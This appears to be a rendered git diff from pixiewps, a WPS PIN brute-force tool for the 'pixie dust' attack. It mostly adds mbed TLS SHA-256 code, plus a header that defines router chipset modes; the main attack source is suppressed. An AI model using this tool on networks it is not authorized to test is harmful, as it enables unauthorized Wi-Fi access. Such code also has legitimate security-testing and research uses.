#ifndef MBEDTLS_MD_WRAP_H
|
||||||
|
#define MBEDTLS_MD_WRAP_H
|
||||||
|
|
||||||
|
#include "md.h"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Message digest information.
|
||||||
|
* Allows message digest functions to be called in a generic way.
|
||||||
|
*/
|
||||||
|
struct mbedtls_md_info_t
|
||||||
|
{
|
||||||
|
/** Digest identifier */
|
||||||
|
mbedtls_md_type_t type;
|
||||||
|
|
||||||
|
/** Name of the message digest */
|
||||||
|
const char * name;
|
||||||
|
|
||||||
|
/** Output length of the digest function in bytes */
|
||||||
|
int size;
|
||||||
|
|
||||||
|
/** Block length of the digest function in bytes */
|
||||||
|
int block_size;
|
||||||
|
|
||||||
|
/** Digest initialisation function */
|
||||||
|
void (*starts_func)( void *ctx );
|
||||||
|
|
||||||
|
/** Digest update function */
|
||||||
|
void (*update_func)( void *ctx, const unsigned char *input, size_t ilen );
|
||||||
|
|
||||||
|
/** Digest finalisation function */
|
||||||
|
void (*finish_func)( void *ctx, unsigned char *output );
|
||||||
|
|
||||||
|
/** Generic digest function */
|
||||||
|
void (*digest_func)( const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output );
|
||||||
|
|
||||||
|
/** Allocate a new context */
|
||||||
|
void * (*ctx_alloc_func)( void );
|
||||||
|
|
||||||
|
/** Free the given context */
|
||||||
|
void (*ctx_free_func)( void *ctx );
|
||||||
|
|
||||||
|
/** Clone state from a context */
|
||||||
|
void (*clone_func)( void *dst, const void *src );
|
||||||
|
|
||||||
|
/** Internal use only */
|
||||||
|
void (*process_func)( void *ctx, const unsigned char *input );
|
||||||
|
};
|
||||||
|
|
||||||
|
extern const mbedtls_md_info_t mbedtls_sha224_info;
|
||||||
|
extern const mbedtls_md_info_t mbedtls_sha256_info;
|
||||||
|
|
||||||
|
#endif /* MBEDTLS_MD_WRAP_H */
|
122
src/crypto/md_wrap.c
Normal file
122
src/crypto/md_wrap.c
Normal file
@ -0,0 +1,122 @@
|
|||||||
|
/**
|
||||||
|
* \file md_wrap.c
|
||||||
|
*
|
||||||
|
* \brief Generic message digest wrapper for mbed TLS
|
||||||
|
*
|
||||||
|
* \author Adriaan de Jong <dejong@fox-it.com>
|
||||||
|
*
|
||||||
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
||||||
|
* not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
||||||
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include "md_internal.h"
|
||||||
|
#include "sha256.h"
|
||||||
|
|
||||||
|
#define mbedtls_calloc calloc
|
||||||
|
#define mbedtls_free free
|
||||||
|
|
||||||
|
static void sha224_starts_wrap( void *ctx )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_starts( (mbedtls_sha256_context *) ctx, 1 );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha224_update_wrap( void *ctx, const unsigned char *input,
|
||||||
|
size_t ilen )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_update( (mbedtls_sha256_context *) ctx, input, ilen );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha224_finish_wrap( void *ctx, unsigned char *output )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_finish( (mbedtls_sha256_context *) ctx, output );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha224_wrap( const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output )
|
||||||
|
{
|
||||||
|
mbedtls_sha256( input, ilen, output, 1 );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *sha224_ctx_alloc( void )
|
||||||
|
{
|
||||||
|
void *ctx = mbedtls_calloc( 1, sizeof( mbedtls_sha256_context ) );
|
||||||
|
|
||||||
|
if( ctx != NULL )
|
||||||
|
mbedtls_sha256_init( (mbedtls_sha256_context *) ctx );
|
||||||
|
|
||||||
|
return( ctx );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha224_ctx_free( void *ctx )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_free( (mbedtls_sha256_context *) ctx );
|
||||||
|
mbedtls_free( ctx );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha224_clone_wrap( void *dst, const void *src )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_clone( (mbedtls_sha256_context *) dst,
|
||||||
|
(const mbedtls_sha256_context *) src );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha224_process_wrap( void *ctx, const unsigned char *data )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_process( (mbedtls_sha256_context *) ctx, data );
|
||||||
|
}
|
||||||
|
|
||||||
|
const mbedtls_md_info_t mbedtls_sha224_info = {
|
||||||
|
MBEDTLS_MD_SHA224,
|
||||||
|
"SHA224",
|
||||||
|
28,
|
||||||
|
64,
|
||||||
|
sha224_starts_wrap,
|
||||||
|
sha224_update_wrap,
|
||||||
|
sha224_finish_wrap,
|
||||||
|
sha224_wrap,
|
||||||
|
sha224_ctx_alloc,
|
||||||
|
sha224_ctx_free,
|
||||||
|
sha224_clone_wrap,
|
||||||
|
sha224_process_wrap,
|
||||||
|
};
|
||||||
|
|
||||||
|
static void sha256_starts_wrap( void *ctx )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_starts( (mbedtls_sha256_context *) ctx, 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
static void sha256_wrap( const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output )
|
||||||
|
{
|
||||||
|
mbedtls_sha256( input, ilen, output, 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
const mbedtls_md_info_t mbedtls_sha256_info = {
|
||||||
|
MBEDTLS_MD_SHA256,
|
||||||
|
"SHA256",
|
||||||
|
32,
|
||||||
|
64,
|
||||||
|
sha256_starts_wrap,
|
||||||
|
sha224_update_wrap,
|
||||||
|
sha224_finish_wrap,
|
||||||
|
sha256_wrap,
|
||||||
|
sha224_ctx_alloc,
|
||||||
|
sha224_ctx_free,
|
||||||
|
sha224_clone_wrap,
|
||||||
|
sha224_process_wrap,
|
||||||
|
};
|
315
src/crypto/sha256.c
Normal file
315
src/crypto/sha256.c
Normal file
@ -0,0 +1,315 @@
|
|||||||
|
/*
|
||||||
|
* FIPS-180-2 compliant SHA-256 implementation
|
||||||
|
*
|
||||||
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
||||||
|
* not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
||||||
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
||||||
|
*/
|
||||||
|
/*
|
||||||
|
* The SHA-256 Secure Hash Standard was published by NIST in 2002.
|
||||||
|
*
|
||||||
|
* http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#include "sha256.h"
|
||||||
|
|
||||||
|
/* Implementation that should never be optimized out by the compiler */
|
||||||
|
static void mbedtls_zeroize( void *v, size_t n ) {
|
||||||
|
volatile unsigned char *p = v; while( n-- ) *p++ = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 32-bit integer manipulation macros (big endian)
|
||||||
|
*/
|
||||||
|
#ifndef GET_UINT32_BE
|
||||||
|
#define GET_UINT32_BE(n,b,i) \
|
||||||
|
do { \
|
||||||
|
(n) = ( (uint32_t) (b)[(i) ] << 24 ) \
|
||||||
|
| ( (uint32_t) (b)[(i) + 1] << 16 ) \
|
||||||
|
| ( (uint32_t) (b)[(i) + 2] << 8 ) \
|
||||||
|
| ( (uint32_t) (b)[(i) + 3] ); \
|
||||||
|
} while( 0 )
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef PUT_UINT32_BE
|
||||||
|
#define PUT_UINT32_BE(n,b,i) \
|
||||||
|
do { \
|
||||||
|
(b)[(i) ] = (unsigned char) ( (n) >> 24 ); \
|
||||||
|
(b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \
|
||||||
|
(b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \
|
||||||
|
(b)[(i) + 3] = (unsigned char) ( (n) ); \
|
||||||
|
} while( 0 )
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void mbedtls_sha256_init( mbedtls_sha256_context *ctx )
|
||||||
|
{
|
||||||
|
memset( ctx, 0, sizeof( mbedtls_sha256_context ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
void mbedtls_sha256_free( mbedtls_sha256_context *ctx )
|
||||||
|
{
|
||||||
|
if( ctx == NULL )
|
||||||
|
return;
|
||||||
|
|
||||||
|
mbedtls_zeroize( ctx, sizeof( mbedtls_sha256_context ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
void mbedtls_sha256_clone( mbedtls_sha256_context *dst,
|
||||||
|
const mbedtls_sha256_context *src )
|
||||||
|
{
|
||||||
|
*dst = *src;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA-256 context setup
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_starts( mbedtls_sha256_context *ctx, int is224 )
|
||||||
|
{
|
||||||
|
ctx->total[0] = 0;
|
||||||
|
ctx->total[1] = 0;
|
||||||
|
|
||||||
|
if( is224 == 0 )
|
||||||
|
{
|
||||||
|
/* SHA-256 */
|
||||||
|
ctx->state[0] = 0x6A09E667;
|
||||||
|
ctx->state[1] = 0xBB67AE85;
|
||||||
|
ctx->state[2] = 0x3C6EF372;
|
||||||
|
ctx->state[3] = 0xA54FF53A;
|
||||||
|
ctx->state[4] = 0x510E527F;
|
||||||
|
ctx->state[5] = 0x9B05688C;
|
||||||
|
ctx->state[6] = 0x1F83D9AB;
|
||||||
|
ctx->state[7] = 0x5BE0CD19;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
/* SHA-224 */
|
||||||
|
ctx->state[0] = 0xC1059ED8;
|
||||||
|
ctx->state[1] = 0x367CD507;
|
||||||
|
ctx->state[2] = 0x3070DD17;
|
||||||
|
ctx->state[3] = 0xF70E5939;
|
||||||
|
ctx->state[4] = 0xFFC00B31;
|
||||||
|
ctx->state[5] = 0x68581511;
|
||||||
|
ctx->state[6] = 0x64F98FA7;
|
||||||
|
ctx->state[7] = 0xBEFA4FA4;
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx->is224 = is224;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if !defined(MBEDTLS_SHA256_PROCESS_ALT)
|
||||||
|
static const uint32_t K[] =
|
||||||
|
{
|
||||||
|
0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5,
|
||||||
|
0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5,
|
||||||
|
0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3,
|
||||||
|
0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174,
|
||||||
|
0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC,
|
||||||
|
0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA,
|
||||||
|
0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7,
|
||||||
|
0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967,
|
||||||
|
0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13,
|
||||||
|
0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85,
|
||||||
|
0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3,
|
||||||
|
0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070,
|
||||||
|
0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5,
|
||||||
|
0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3,
|
||||||
|
0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208,
|
||||||
|
0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2,
|
||||||
|
};
|
||||||
|
|
||||||
|
#define SHR(x,n) ((x & 0xFFFFFFFF) >> n)
|
||||||
|
#define ROTR(x,n) (SHR(x,n) | (x << (32 - n)))
|
||||||
|
|
||||||
|
#define S0(x) (ROTR(x, 7) ^ ROTR(x,18) ^ SHR(x, 3))
|
||||||
|
#define S1(x) (ROTR(x,17) ^ ROTR(x,19) ^ SHR(x,10))
|
||||||
|
|
||||||
|
#define S2(x) (ROTR(x, 2) ^ ROTR(x,13) ^ ROTR(x,22))
|
||||||
|
#define S3(x) (ROTR(x, 6) ^ ROTR(x,11) ^ ROTR(x,25))
|
||||||
|
|
||||||
|
#define F0(x,y,z) ((x & y) | (z & (x | y)))
|
||||||
|
#define F1(x,y,z) (z ^ (x & (y ^ z)))
|
||||||
|
|
||||||
|
#define R(t) \
|
||||||
|
( \
|
||||||
|
W[t] = S1(W[t - 2]) + W[t - 7] + \
|
||||||
|
S0(W[t - 15]) + W[t - 16] \
|
||||||
|
)
|
||||||
|
|
||||||
|
#define P(a,b,c,d,e,f,g,h,x,K) \
|
||||||
|
{ \
|
||||||
|
temp1 = h + S3(e) + F1(e,f,g) + K + x; \
|
||||||
|
temp2 = S2(a) + F0(a,b,c); \
|
||||||
|
d += temp1; h = temp1 + temp2; \
|
||||||
|
}
|
||||||
|
|
||||||
|
void mbedtls_sha256_process( mbedtls_sha256_context *ctx, const unsigned char data[64] )
|
||||||
|
{
|
||||||
|
uint32_t temp1, temp2, W[64];
|
||||||
|
uint32_t A[8];
|
||||||
|
unsigned int i;
|
||||||
|
|
||||||
|
for( i = 0; i < 8; i++ )
|
||||||
|
A[i] = ctx->state[i];
|
||||||
|
|
||||||
|
#if defined(MBEDTLS_SHA256_SMALLER)
|
||||||
|
for( i = 0; i < 64; i++ )
|
||||||
|
{
|
||||||
|
if( i < 16 )
|
||||||
|
GET_UINT32_BE( W[i], data, 4 * i );
|
||||||
|
else
|
||||||
|
R( i );
|
||||||
|
|
||||||
|
P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], W[i], K[i] );
|
||||||
|
|
||||||
|
temp1 = A[7]; A[7] = A[6]; A[6] = A[5]; A[5] = A[4]; A[4] = A[3];
|
||||||
|
A[3] = A[2]; A[2] = A[1]; A[1] = A[0]; A[0] = temp1;
|
||||||
|
}
|
||||||
|
#else /* MBEDTLS_SHA256_SMALLER */
|
||||||
|
for( i = 0; i < 16; i++ )
|
||||||
|
GET_UINT32_BE( W[i], data, 4 * i );
|
||||||
|
|
||||||
|
for( i = 0; i < 16; i += 8 )
|
||||||
|
{
|
||||||
|
P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], W[i+0], K[i+0] );
|
||||||
|
P( A[7], A[0], A[1], A[2], A[3], A[4], A[5], A[6], W[i+1], K[i+1] );
|
||||||
|
P( A[6], A[7], A[0], A[1], A[2], A[3], A[4], A[5], W[i+2], K[i+2] );
|
||||||
|
P( A[5], A[6], A[7], A[0], A[1], A[2], A[3], A[4], W[i+3], K[i+3] );
|
||||||
|
P( A[4], A[5], A[6], A[7], A[0], A[1], A[2], A[3], W[i+4], K[i+4] );
|
||||||
|
P( A[3], A[4], A[5], A[6], A[7], A[0], A[1], A[2], W[i+5], K[i+5] );
|
||||||
|
P( A[2], A[3], A[4], A[5], A[6], A[7], A[0], A[1], W[i+6], K[i+6] );
|
||||||
|
P( A[1], A[2], A[3], A[4], A[5], A[6], A[7], A[0], W[i+7], K[i+7] );
|
||||||
|
}
|
||||||
|
|
||||||
|
for( i = 16; i < 64; i += 8 )
|
||||||
|
{
|
||||||
|
P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], R(i+0), K[i+0] );
|
||||||
|
P( A[7], A[0], A[1], A[2], A[3], A[4], A[5], A[6], R(i+1), K[i+1] );
|
||||||
|
P( A[6], A[7], A[0], A[1], A[2], A[3], A[4], A[5], R(i+2), K[i+2] );
|
||||||
|
P( A[5], A[6], A[7], A[0], A[1], A[2], A[3], A[4], R(i+3), K[i+3] );
|
||||||
|
P( A[4], A[5], A[6], A[7], A[0], A[1], A[2], A[3], R(i+4), K[i+4] );
|
||||||
|
P( A[3], A[4], A[5], A[6], A[7], A[0], A[1], A[2], R(i+5), K[i+5] );
|
||||||
|
P( A[2], A[3], A[4], A[5], A[6], A[7], A[0], A[1], R(i+6), K[i+6] );
|
||||||
|
P( A[1], A[2], A[3], A[4], A[5], A[6], A[7], A[0], R(i+7), K[i+7] );
|
||||||
|
}
|
||||||
|
#endif /* MBEDTLS_SHA256_SMALLER */
|
||||||
|
|
||||||
|
for( i = 0; i < 8; i++ )
|
||||||
|
ctx->state[i] += A[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA-256 process buffer
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_update( mbedtls_sha256_context *ctx, const unsigned char *input,
|
||||||
|
size_t ilen )
|
||||||
|
{
|
||||||
|
size_t fill;
|
||||||
|
uint32_t left;
|
||||||
|
|
||||||
|
if( ilen == 0 )
|
||||||
|
return;
|
||||||
|
|
||||||
|
left = ctx->total[0] & 0x3F;
|
||||||
|
fill = 64 - left;
|
||||||
|
|
||||||
|
ctx->total[0] += (uint32_t) ilen;
|
||||||
|
ctx->total[0] &= 0xFFFFFFFF;
|
||||||
|
|
||||||
|
if( ctx->total[0] < (uint32_t) ilen )
|
||||||
|
ctx->total[1]++;
|
||||||
|
|
||||||
|
if( left && ilen >= fill )
|
||||||
|
{
|
||||||
|
memcpy( (void *) (ctx->buffer + left), input, fill );
|
||||||
|
mbedtls_sha256_process( ctx, ctx->buffer );
|
||||||
|
input += fill;
|
||||||
|
ilen -= fill;
|
||||||
|
left = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
while( ilen >= 64 )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_process( ctx, input );
|
||||||
|
input += 64;
|
||||||
|
ilen -= 64;
|
||||||
|
}
|
||||||
|
|
||||||
|
if( ilen > 0 )
|
||||||
|
memcpy( (void *) (ctx->buffer + left), input, ilen );
|
||||||
|
}
|
||||||
|
|
||||||
|
static const unsigned char sha256_padding[64] =
|
||||||
|
{
|
||||||
|
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
||||||
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA-256 final digest
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_finish( mbedtls_sha256_context *ctx, unsigned char output[32] )
|
||||||
|
{
|
||||||
|
uint32_t last, padn;
|
||||||
|
uint32_t high, low;
|
||||||
|
unsigned char msglen[8];
|
||||||
|
|
||||||
|
high = ( ctx->total[0] >> 29 )
|
||||||
|
| ( ctx->total[1] << 3 );
|
||||||
|
low = ( ctx->total[0] << 3 );
|
||||||
|
|
||||||
|
PUT_UINT32_BE( high, msglen, 0 );
|
||||||
|
PUT_UINT32_BE( low, msglen, 4 );
|
||||||
|
|
||||||
|
last = ctx->total[0] & 0x3F;
|
||||||
|
padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last );
|
||||||
|
|
||||||
|
mbedtls_sha256_update( ctx, sha256_padding, padn );
|
||||||
|
mbedtls_sha256_update( ctx, msglen, 8 );
|
||||||
|
|
||||||
|
PUT_UINT32_BE( ctx->state[0], output, 0 );
|
||||||
|
PUT_UINT32_BE( ctx->state[1], output, 4 );
|
||||||
|
PUT_UINT32_BE( ctx->state[2], output, 8 );
|
||||||
|
PUT_UINT32_BE( ctx->state[3], output, 12 );
|
||||||
|
PUT_UINT32_BE( ctx->state[4], output, 16 );
|
||||||
|
PUT_UINT32_BE( ctx->state[5], output, 20 );
|
||||||
|
PUT_UINT32_BE( ctx->state[6], output, 24 );
|
||||||
|
|
||||||
|
if( ctx->is224 == 0 )
|
||||||
|
PUT_UINT32_BE( ctx->state[7], output, 28 );
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* !MBEDTLS_SHA256_ALT */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* output = SHA-256( input buffer )
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256( const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char output[32], int is224 )
|
||||||
|
{
|
||||||
|
mbedtls_sha256_context ctx;
|
||||||
|
|
||||||
|
mbedtls_sha256_init( &ctx );
|
||||||
|
mbedtls_sha256_starts( &ctx, is224 );
|
||||||
|
mbedtls_sha256_update( &ctx, input, ilen );
|
||||||
|
mbedtls_sha256_finish( &ctx, output );
|
||||||
|
mbedtls_sha256_free( &ctx );
|
||||||
|
}
|
104
src/crypto/sha256.h
Normal file
104
src/crypto/sha256.h
Normal file
@ -0,0 +1,104 @@
|
|||||||
|
/**
|
||||||
|
* \file mbedtls_sha256.h
|
||||||
|
*
|
||||||
|
* \brief SHA-224 and SHA-256 cryptographic hash function
|
||||||
|
*
|
||||||
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
||||||
|
* not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
||||||
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
||||||
|
*/
|
||||||
|
#ifndef MBEDTLS_SHA256_H
|
||||||
|
#define MBEDTLS_SHA256_H
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief SHA-256 context structure
|
||||||
|
*/
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
uint32_t total[2]; /*!< number of bytes processed */
|
||||||
|
uint32_t state[8]; /*!< intermediate digest state */
|
||||||
|
unsigned char buffer[64]; /*!< data block being processed */
|
||||||
|
int is224; /*!< 0 => SHA-256, else SHA-224 */
|
||||||
|
}
|
||||||
|
mbedtls_sha256_context;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize SHA-256 context
|
||||||
|
*
|
||||||
|
* \param ctx SHA-256 context to be initialized
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_init( mbedtls_sha256_context *ctx );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Clear SHA-256 context
|
||||||
|
*
|
||||||
|
* \param ctx SHA-256 context to be cleared
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_free( mbedtls_sha256_context *ctx );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Clone (the state of) a SHA-256 context
|
||||||
|
*
|
||||||
|
* \param dst The destination context
|
||||||
|
* \param src The context to be cloned
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_clone( mbedtls_sha256_context *dst,
|
||||||
|
const mbedtls_sha256_context *src );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief SHA-256 context setup
|
||||||
|
*
|
||||||
|
* \param ctx context to be initialized
|
||||||
|
* \param is224 0 = use SHA256, 1 = use SHA224
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_starts( mbedtls_sha256_context *ctx, int is224 );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief SHA-256 process buffer
|
||||||
|
*
|
||||||
|
* \param ctx SHA-256 context
|
||||||
|
* \param input buffer holding the data
|
||||||
|
* \param ilen length of the input data
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_update( mbedtls_sha256_context *ctx, const unsigned char *input,
|
||||||
|
size_t ilen );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief SHA-256 final digest
|
||||||
|
*
|
||||||
|
* \param ctx SHA-256 context
|
||||||
|
* \param output SHA-224/256 checksum result
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256_finish( mbedtls_sha256_context *ctx, unsigned char output[32] );
|
||||||
|
|
||||||
|
/* Internal use */
|
||||||
|
void mbedtls_sha256_process( mbedtls_sha256_context *ctx, const unsigned char data[64] );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Output = SHA-256( input buffer )
|
||||||
|
*
|
||||||
|
* \param input buffer holding the data
|
||||||
|
* \param ilen length of the input data
|
||||||
|
* \param output SHA-224/256 checksum result
|
||||||
|
* \param is224 0 = use SHA256, 1 = use SHA224
|
||||||
|
*/
|
||||||
|
void mbedtls_sha256( const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char output[32], int is224 );
|
||||||
|
|
||||||
|
#endif /* MBEDTLS_SHA256_H */
|
838
src/pixiewps.c
838
src/pixiewps.c
File diff suppressed because it is too large
Load Diff
310
src/pixiewps.h
310
src/pixiewps.h
@ -2,13 +2,8 @@
|
|||||||
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
||||||
* All credits for the research go to Dominique Bongard.
|
* All credits for the research go to Dominique Bongard.
|
||||||
*
|
*
|
||||||
* Special thanks to: datahead, soxrok2212
|
|
||||||
*
|
|
||||||
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
||||||
* Version: 1.1
|
* SPDX-License-Identifier: GPL-3.0
|
||||||
*
|
|
||||||
* DISCLAIMER: This tool was made for educational purposes only.
|
|
||||||
* The author is NOT responsible for any misuse or abuse.
|
|
||||||
*
|
*
|
||||||
* This program is free software: you can redistribute it and/or modify
|
* This program is free software: you can redistribute it and/or modify
|
||||||
* it under the terms of the GNU General Public License as published by
|
* it under the terms of the GNU General Public License as published by
|
||||||
@ -22,73 +17,95 @@
|
|||||||
*
|
*
|
||||||
* You should have received a copy of the GNU General Public License
|
* You should have received a copy of the GNU General Public License
|
||||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
*
|
|
||||||
* In addition, as a special exception, the copyright holders give
|
|
||||||
* permission to link the code of portions of this program with the
|
|
||||||
* OpenSSL library under certain conditions as described in each
|
|
||||||
* individual source file, and distribute linked combinations
|
|
||||||
* including the two.
|
|
||||||
* You must obey the GNU General Public License in all respects
|
|
||||||
* for all of the code used other than OpenSSL. If you modify
|
|
||||||
* file(s) with this exception, you may extend this exception to your
|
|
||||||
* version of the file(s), but you are not obligated to do so. If you
|
|
||||||
* do not wish to do so, delete this exception statement from your
|
|
||||||
* version. If you delete this exception statement from all source
|
|
||||||
* files in the program, then also delete it here.
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef PIXIEWPS_H
|
#ifndef PIXIEWPS_H
|
||||||
#define PIXIEWPS_H
|
#define PIXIEWPS_H
|
||||||
|
|
||||||
#define VERSION "1.1"
|
/* Modes constants */
|
||||||
#define MAX_MODE 4
|
#define NONE 0
|
||||||
#define MODE4_DAYS 3
|
#define RT 1
|
||||||
#define SEC_PER_HOUR 3600
|
#define ECOS_SIMPLE 2
|
||||||
|
#define RTL819x 3
|
||||||
|
#define ECOS_SIMPLEST 4 /* Not tested */
|
||||||
|
#define ECOS_KNUTH 5 /* Not tested */
|
||||||
|
|
||||||
|
/* Modes constants */
|
||||||
|
#define MODE_LEN 5
|
||||||
|
#define MODE3_DAYS 3
|
||||||
|
#define MODE3_TRIES 3
|
||||||
#define SEC_PER_DAY 86400
|
#define SEC_PER_DAY 86400
|
||||||
|
|
||||||
/* WPS constants */
|
|
||||||
#define WPS_PUBKEY_LEN 192
|
|
||||||
#define WPS_HASH_LEN 32
|
|
||||||
#define WPS_AUTHKEY_LEN 32
|
|
||||||
#define WPS_EMSK_LEN 32
|
|
||||||
#define WPS_KEYWRAPKEY_LEN 16
|
|
||||||
